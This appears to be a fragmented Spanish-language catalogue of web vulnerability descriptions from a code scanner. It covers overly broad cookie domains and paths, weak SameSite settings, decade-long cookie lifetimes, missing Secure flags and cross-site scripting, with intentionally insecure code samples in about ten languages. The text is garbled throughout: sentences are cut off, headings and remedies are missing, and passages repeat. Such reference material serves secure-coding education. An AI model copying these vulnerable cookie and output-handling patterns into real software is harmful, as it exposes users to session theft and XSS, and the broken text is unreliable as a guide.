.example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando un usuario inicia sesión.
HttpCookie cookie = new HttpCookie("sessionID", sessionID);
cookie.Domain = ".example.com";
http://insecure.example.com/
que contiene una vulnerabilidad Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
corre el riesgo de exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de secure.example.com
..example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando los usuarios inician sesión.
cookie := http.Cookie{
Name: "sessionID",
Value: getSessionID(),
Domain: ".example.com",
}
...
http://insecure.example.com/
que contiene una vulnerabilidad Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
corre el riesgo de exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de Secure.example.com
..example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando los usuarios inician sesión.
Cookie cookie = new Cookie("sessionID", sessionID);
cookie.setDomain(".example.com");
http://insecure.example.com/
y que contiene una vulnerabilidad de Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
crea un riesgo al exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de secure.example.com
..example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando los usuarios inician sesión.
cookie_options = {};
cookie_options.domain = '.example.com';
...
res.cookie('important_cookie', info, cookie_options);
http://insecure.example.com/
y que contiene una vulnerabilidad de Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
crea un riesgo al exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de secure.example.com
..example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando los usuarios inician sesión.
...
NSDictionary *cookieProperties = [NSDictionary dictionary];
...
[cookieProperties setValue:@".example.com" forKey:NSHTTPCookieDomain];
...
NSHTTPCookie *cookie = [NSHTTPCookie cookieWithProperties:cookieProperties];
...
http://insecure.example.com/
y que contiene una vulnerabilidad de Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
crea un riesgo al exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de secure.example.com
..example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando los usuarios inician sesión.
setcookie("mySessionId", getSessionID(), 0, "/", ".example.com", true, true);
http://insecure.example.com/
y que contiene una vulnerabilidad de Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
crea un riesgo al exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de secure.example.com
..example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando los usuarios inician sesión.
from django.http.response import HttpResponse
...
def view_method(request):
res = HttpResponse()
res.set_cookie("mySessionId", getSessionID(), domain=".example.com")
return res
...
http://insecure.example.com/
y que contiene una vulnerabilidad de Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
crea un riesgo al exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de secure.example.com
..example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando un usuario inicia sesión.
Ok(Html(command)).withCookies(Cookie("sessionID", sessionID, domain = Some(".example.com")))
http://insecure.example.com/
que contiene una vulnerabilidad Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
corre el riesgo de exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de secure.example.com
..example.com
". Esto expone la cookie a todas las aplicaciones web del dominio básico y los subdominios. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://secure.example.com/
y que la aplicación define una cookie de ID de sesión con un dominio ".example.com
" cuando los usuarios inician sesión.
...
let properties = [
NSHTTPCookieDomain: ".example.com",
NSHTTPCookiePath: "/service",
NSHTTPCookieName: "foo",
NSHTTPCookieValue: "bar",
NSHTTPCookieSecure: true
]
let cookie : NSHTTPCookie? = NSHTTPCookie(properties:properties)
...
http://insecure.example.com/
y que contiene una vulnerabilidad de Cross-Site Scripting. Cualquier usuario autenticado en http://secure.example.com
que acceda a http://insecure.example.com
crea un riesgo al exponer su cookie de sesión de http://secure.example.com
.insecure.example.com
para crear su propia cookie demasiado grande que sustituya a la cookie de secure.example.com
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión en un foro. Por ejemplo:
...
String path = '/';
Cookie cookie = new Cookie('sessionID', sessionID, path, maxAge, true, 'Strict');
...
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Al robar el identificador de sesión, el atacante puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"; no obstante, de esta forma se expone la cookie a todas las aplicaciones web del mismo nombre de dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión.
HttpCookie cookie = new HttpCookie("sessionID", sessionID);
cookie.Path = "/";
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Si se apodera del ID de sesión, el usuario malintencionado puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión.
cookie := http.Cookie{
Name: "sessionID",
Value: sID,
Expires: time.Now().AddDate(0, 0, 1),
Path: "/",
}
...
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Al robar el identificador de sesión, el atacante puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión.
Cookie cookie = new Cookie("sessionID", sessionID);
cookie.setPath("/");
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Si se apodera del ID de sesión, el usuario malintencionado puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión.
cookie_options = {};
cookie_options.path = '/';
...
res.cookie('important_cookie', info, cookie_options);
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Si se apodera del ID de sesión, el usuario malintencionado puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión.
...
NSDictionary *cookieProperties = [NSDictionary dictionary];
...
[cookieProperties setValue:@"/" forKey:NSHTTPCookiePath];
...
NSHTTPCookie *cookie = [NSHTTPCookie cookieWithProperties:cookieProperties];
...
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Si se apodera del ID de sesión, el usuario malintencionado puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión.
setcookie("mySessionId", getSessionID(), 0, "/", "communitypages.example.com", true, true);
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Si se apodera del ID de sesión, el usuario malintencionado puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión.
from django.http.response import HttpResponse
...
def view_method(request):
res = HttpResponse()
res.set_cookie("sessionid", value) # Path defaults to "/"
return res
...
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Si se apodera del ID de sesión, el usuario malintencionado puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión en un foro.
Ok(Html(command)).withCookies(Cookie("sessionID", sessionID, path = "/"))
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Si se apodera del ID de sesión, el usuario malintencionado puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
./
"). Al hacerlo, se expone la cookie a todas las aplicaciones web del dominio. Puesto que es frecuente que las cookies porten información confidencial como identificadores de sesión, compartir las cookies entre aplicaciones puede provocar que una vulnerabilidad de una aplicación comprometa a otra.http://communitypages.example.com/MyForum
y que la aplicación define una cookie de ID de sesión con una ruta "/
" cuando los usuarios inician sesión.
...
let properties = [
NSHTTPCookieDomain: "www.example.com",
NSHTTPCookiePath: "/",
NSHTTPCookieName: "foo",
NSHTTPCookieValue: "bar",
NSHTTPCookieSecure: true
]
let cookie : NSHTTPCookie? = NSHTTPCookie(properties:properties)
...
http://communitypages.example.com/EvilSite
y publica un vínculo a este sitio en el foro. Cuando un usuario del foro hace clic en este vínculo, el explorador envía la cookie configurada mediante /MyForum
a la aplicación que se ejecuta en /EvilSite
. Si se apodera del ID de sesión, el usuario malintencionado puede comprometer la cuenta de cualquier usuario del foro que haya navegado a /EvilSite
./EvilSite
para crear su propia cookie demasiado grande que sustituya a la cookie de /MyForum
.SameSite
en las cookies de sesión no está configurado en Strict
.SameSite
limita el alcance de la cookie de modo que solo se adjunta a una solicitud si la solicitud se genera a partir de un contexto propio o del mismo sitio. Esto ayuda a proteger las cookies contra ataques de Cross-site Request Forgery (CSRF, por sus siglas en inglés). El parámetro SameSite
puede tener los siguientes tres valores:Strict
, las cookies solo se envían junto con las solicitudes en la navegación de nivel superior.Lax
, las cookies se envían con navegación de nivel superior desde el mismo host, así como las solicitudes GET originadas en el host desde sitios de terceros. Por ejemplo, suponga que un sitio de terceros tiene etiquetas iframe
o href
para el sitio host. Si un usuario sigue el enlace, la solicitud incluirá la cookie.SameSite
en Lax
en las cookies de sesión.
...
Cookie cookie = new Cookie('name', 'Foo', path, -1, true, 'Lax');
...
SameSite
en las cookies de sesión no está establecido en Strict
.SameSite
protege las cookies de ataques como Cross-site Request Forgery (CSRF). Las cookies de sesión representan a un usuario en el sitio para que el usuario pueda realizar acciones autorizadas. Sin embargo, el navegador envía automáticamente las cookies con la solicitud y, por lo tanto, los usuarios y los sitios web confían implícitamente en el navegador para la autorización. Un atacante puede hacer un uso indebido de esta confianza y realizar una solicitud al sitio en nombre del usuario incrustando enlaces dentro del atributo href
y src
de las etiquetas, como el link
y iframe
, en páginas de sitios de terceros que controle un atacante. Si un atacante puede atraer a un usuario desprevenido al sitio de terceros que controla, el atacante puede realizar solicitudes que incluyen automáticamente la cookie de sesión que autoriza al usuario, autorizando efectivamente al atacante como si fuera el usuario.SameSite
en Strict
en las cookies de sesión. Esto restringe el navegador para agregar cookies solo a las solicitudes que son de navegación de nivel superior o que se originan en el mismo sitio. Las solicitudes que se originan en sitios de terceros a través de enlaces en varias etiquetas como iframe
, img
y form
no tienen estas cookies y, por lo tanto, impiden que el sitio tome medidas que el usuario podría no haber autorizado.Lax
en el atributo SameSite
de las cookies de sesión.
...
CookieOptions opt = new CookieOptions()
{
SameSite = SameSiteMode.Lax;
};
context.Response.Cookies.Append("name", "Foo", opt);
...
SameSite
en las cookies de sesión no está establecido en SameSiteStrictMode
.SameSite
protege las cookies de ataques como la falsificación de petición en sitios cruzados (CSRF). Las cookies de sesión representan a un usuario en el sitio para que el usuario pueda realizar acciones autorizadas. Sin embargo, el navegador envía automáticamente las cookies con la solicitud y, por lo tanto, los usuarios y los sitios web confían implícitamente en el navegador para la autorización. Un atacante puede hacer un uso indebido de esta confianza y realizar una solicitud al sitio en nombre del usuario incrustando enlaces dentro del atributo href
y src
de las etiquetas, como el link
y iframe
, en páginas de sitios de terceros que controle un atacante. Si un atacante puede atraer a un usuario desprevenido al sitio de terceros que controla, el atacante puede realizar solicitudes que incluyen automáticamente la cookie de sesión que autoriza al usuario, autorizando efectivamente al atacante como si fuera el usuario.SameSiteStrictMode
para el atributo SameSite
, que restringe el navegador para agregar cookies solo a las solicitudes que son de navegación de nivel superior o se originan en el mismo sitio. Las solicitudes que se originan en sitios de terceros a través de enlaces en varias etiquetas como iframe
, img
y form
no tienen estas cookies y, por lo tanto, impiden que el sitio tome medidas que el usuario podría no haber autorizado.SameSiteLaxMode
en el atributo SameSite
en las cookies de sesión.
c := &http.Cookie{
Name: "cookie",
Value: "samesite-lax",
SameSite: http.SameSiteLaxMode,
}
SameSite
en las cookies de sesión no está establecido en Strict
.SameSite
protege las cookies de ataques como Cross-site Request Forgery (CSRF). Las cookies de sesión representan a un usuario en el sitio para que el usuario pueda realizar acciones autorizadas. Sin embargo, el navegador envía automáticamente las cookies con la solicitud y, por lo tanto, los usuarios y los sitios web confían implícitamente en el navegador para la autorización. Un atacante puede hacer un uso indebido de esta confianza y realizar una solicitud al sitio en nombre del usuario incrustando enlaces dentro del atributo href
y src
de las etiquetas, como el link
y iframe
, en páginas de sitios de terceros que controle un atacante. Si un atacante puede atraer a un usuario desprevenido al sitio de terceros que controla, el atacante puede realizar solicitudes que incluyen automáticamente la cookie de sesión que autoriza al usuario, autorizando efectivamente al atacante como si fuera el usuario.SameSite
en Strict
en las cookies de sesión. Esto restringe el navegador para agregar cookies solo a las solicitudes que son de navegación de nivel superior o que se originan en el mismo sitio. Las solicitudes que se originan en sitios de terceros a través de enlaces en varias etiquetas como iframe
, img
y form
no tienen estas cookies y, por lo tanto, impiden que el sitio tome medidas que el usuario podría no haber autorizado.Lax
en el atributo SameSite
de las cookies de sesión.
app.get('/', function (req, res) {
...
res.cookie('name', 'Foo', { sameSite: "Lax" });
...
}
SameSite
en las cookies de sesión no está establecido en Strict
.SameSite
protege las cookies de ataques como la falsificación de petición en sitios cruzados (CSRF). Las cookies de sesión representan a un usuario en el sitio para que el usuario pueda realizar acciones autorizadas. Sin embargo, el navegador envía automáticamente las cookies con la solicitud y, por lo tanto, los usuarios y los sitios web confían implícitamente en el navegador para la autorización. Un atacante puede hacer un uso indebido de esta confianza y realizar una solicitud al sitio en nombre del usuario incrustando enlaces dentro del atributo href
y src
de las etiquetas, como el link
y iframe
, en páginas de sitios de terceros que controle un atacante. Si un atacante puede atraer a un usuario desprevenido al sitio de terceros que controla, el atacante puede realizar solicitudes que incluyen automáticamente la cookie de sesión que autoriza al usuario, autorizando efectivamente al atacante como si fuera el usuario.Strict
para el atributo SameSite
, que restringe el navegador para agregar cookies solo a las solicitudes que son de navegación de nivel superior o se originan en el mismo sitio. Las solicitudes que se originan en sitios de terceros a través de enlaces en varias etiquetas como iframe
, img
y form
no tienen estas cookies y, por lo tanto, impiden que el sitio tome medidas que el usuario podría no haber autorizado.Lax
en el atributo SameSite
las cookies de sesión.
ini_set("session.cookie_samesite", "Lax");
SameSite
en las cookies de sesión no está establecido en Strict
.SameSite
protege las cookies de ataques como Cross-site Request Forgery (CSRF). Las cookies de sesión representan a un usuario en el sitio para que el usuario pueda realizar acciones autorizadas. Sin embargo, el navegador envía automáticamente las cookies con la solicitud y, por lo tanto, los usuarios y los sitios web confían implícitamente en el navegador para la autorización. Un atacante puede hacer un uso indebido de esta confianza y realizar una solicitud al sitio en nombre del usuario incrustando enlaces dentro del atributo href
y src
de las etiquetas, como el link
y iframe
, en páginas de sitios de terceros que controle un atacante. Si un atacante atrae a un usuario desprevenido al sitio de terceros que controla, el atacante puede realizar solicitudes que incluyen automáticamente la cookie de sesión con la autorización del usuario. Esto efectivamente le da acceso al atacante con la autorización del usuario.Strict
para el parámetro SameSite
, que restringe el navegador para agregar cookies solo a las solicitudes que son de navegación de nivel superior o se originan en el mismo sitio. Las solicitudes que se originan en sitios de terceros a través de enlaces en varias etiquetas como iframe
, img
y form
no tienen estas cookies y, por lo tanto, impiden que el sitio tome medidas que el usuario podría no haber autorizado.Lax
en el atributo samesite
en las cookies de sesión.
response.set_cookie("cookie", value="samesite-lax", samesite="Lax")
...
Integer maxAge = 60*60*24*365*10;
Cookie cookie = new Cookie('emailCookie', emailCookie, path, maxAge, true, 'Strict');
...
HttpCookie cookie = new HttpCookie("emailCookie", email);
cookie.Expires = DateTime.Now.AddYears(10);;
Cookie cookie = new Cookie("emailCookie", email);
cookie.setMaxAge(60*60*24*365*10);
...
NSDictionary *cookieProperties = [NSDictionary dictionary];
...
[cookieProperties setValue:[[NSDate date] dateByAddingTimeInterval:(60*60*24*365*10)] forKey:NSHTTPCookieExpires];
...
NSHTTPCookie *cookie = [NSHTTPCookie cookieWithProperties:cookieProperties];
...
setcookie("emailCookie", $email, time()+60*60*24*365*10);
from django.http.response import HttpResponse
...
def view_method(request):
res = HttpResponse()
res.set_cookie("emailCookie", email, expires=time()+60*60*24*365*10, secure=True, httponly=True)
return res
...
Ok(Html(command)).withCookies(Cookie("sessionID", sessionID, maxAge = Some(60*60*24*365*10)))
...
let properties = [
NSHTTPCookieDomain: "www.example.com",
NSHTTPCookiePath: "/service",
NSHTTPCookieName: "foo",
NSHTTPCookieValue: "bar",
NSHTTPCookieSecure: true,
NSHTTPCookieExpires : NSDate(timeIntervalSinceNow: (60*60*24*365*10))
]
let cookie : NSHTTPCookie? = NSHTTPCookie(properties:properties)
...
Secure
establecida en true
.Secure
para cada cookie. Si se define una marca, el explorador solo puede enviar la cookie a través de HTTPS. Enviar cookies a través de un canal no cifrado puede exponerlas a ataques de espionaje de red, por lo que las marcas seguras ayudan a mantener la confidencialidad del valor de una cookie. Esto es especialmente importante cuando la cookie contiene datos privados o porta un identificador de sesión.Secure
.
...
<configuration>
<system.web>
<authentication mode="Forms">
<forms requireSSL="false" loginUrl="login.aspx">
</forms>
</authentication>
</system.web>
</configuration>
...
Secure
, las cookies enviadas durante una solicitud HTTPS también se enviarán en las solicitudes HTTP subsiguientes. El espionaje del tráfico de red a través de conexiones inalámbricas no cifradas es una tarea fácil para los atacantes, por lo que enviar cookies (sobre todo las que incluyen ID de sesión) a través de HTTP puede poner en peligro la aplicación.Secure
para cada cookie. Si se define una marca, el explorador solo puede enviar la cookie a través de HTTPS. Enviar cookies a través de un canal no cifrado puede exponerlas a ataques de espionaje de red, por lo que las marcas seguras ayudan a mantener la confidencialidad del valor de una cookie. Esto es especialmente importante cuando la cookie contiene datos privados o porta un identificador de sesión.Secure
de las cookies de sesión.
server.servlet.session.cookie.secure=false
Secure
, las cookies enviadas durante una solicitud HTTPS también se enviarán en las subsiguientes solicitudes HTTP. Los atacantes pueden secuestrar el tráfico de red sin cifrar y poner en peligro la cookie, lo cual es especialmente fácil en el caso de las redes inalámbricas.Secure
en true
.Secure
en cada cookie. Si se incluye una marca, el explorador solo puede enviar la cookie a través de HTTPS. Enviar cookies a través de un canal no cifrado puede exponerlas a ataques de reconocimiento de red, por lo que las marcas seguras ayudan a mantener la confidencialidad del valor de una cookie. Esto es especialmente importante cuando la cookie contiene datos privados o porta un identificador de sesión.Secure
.
...
setcookie("emailCookie", $email, 0, "/", "www.example.com");
...
Secure
, las cookies enviadas durante una solicitud HTTPS también se enviarán en subsiguientes solicitudes HTTP. Los atacantes pueden poner en peligro la cookie secuestrando el tráfico de red no cifrado, lo cual es especialmente fácil en el caso de las redes inalámbricas.SESSION_COOKIE_SECURE
en True
o la establece en False
.Secure
en cada cookie. Si se incluye una marca, el explorador solo puede enviar la cookie a través de HTTPS. Enviar cookies a través de un canal no cifrado puede exponerlas a ataques de reconocimiento de red, por lo que las marcas seguras ayudan a mantener la confidencialidad del valor de una cookie. Esto es especialmente importante cuando la cookie contiene datos privados o identificadores de sesión, o cuando porta un token de CSRF.Secure
para las cookies de sesión.
...
MIDDLEWARE = (
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'csp.middleware.CSPMiddleware',
'django.middleware.security.SecurityMiddleware',
...
)
...
Secure
, las cookies enviadas durante una solicitud HTTPS también se enviarán en subsiguientes solicitudes HTTP. Los atacantes pueden poner en peligro la cookie secuestrando el tráfico de red no cifrado, lo cual es especialmente fácil en el caso de las redes inalámbricas.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
String eid = Request["eid"];
...
EmployeeID.Text = eid;
EmployeeID
es un control ASP.NET del lado del servidor como se indica a continuación:
<form runat="server">
...
<asp:Label id="EmployeeID" runat="server"/>
...
</form>
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
string name = "";
using (SqlConnection conn = new SqlConnection(_ConnectionString))
{
string eid = Request["eid"];
SqlCommand cmd = new SqlCommand("SELECT * FROM emp WHERE id = @id", conn);
cmd.Parameters.AddWithValue("@id", eid);
conn.Open();
SqlDataReader objReader = cmd.ExecuteReader();
while (objReader.Read())
{
name = objReader["name"];
}
objReader.Close();
}
...
EmployeeName.Text = name;
EmployeeName
es un control ASP.NET del lado del servidor como se indica a continuación:
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server"/>
...
</form>
Example 2
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.user
, de una solicitud HTTP y lo muestra al usuario.
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user
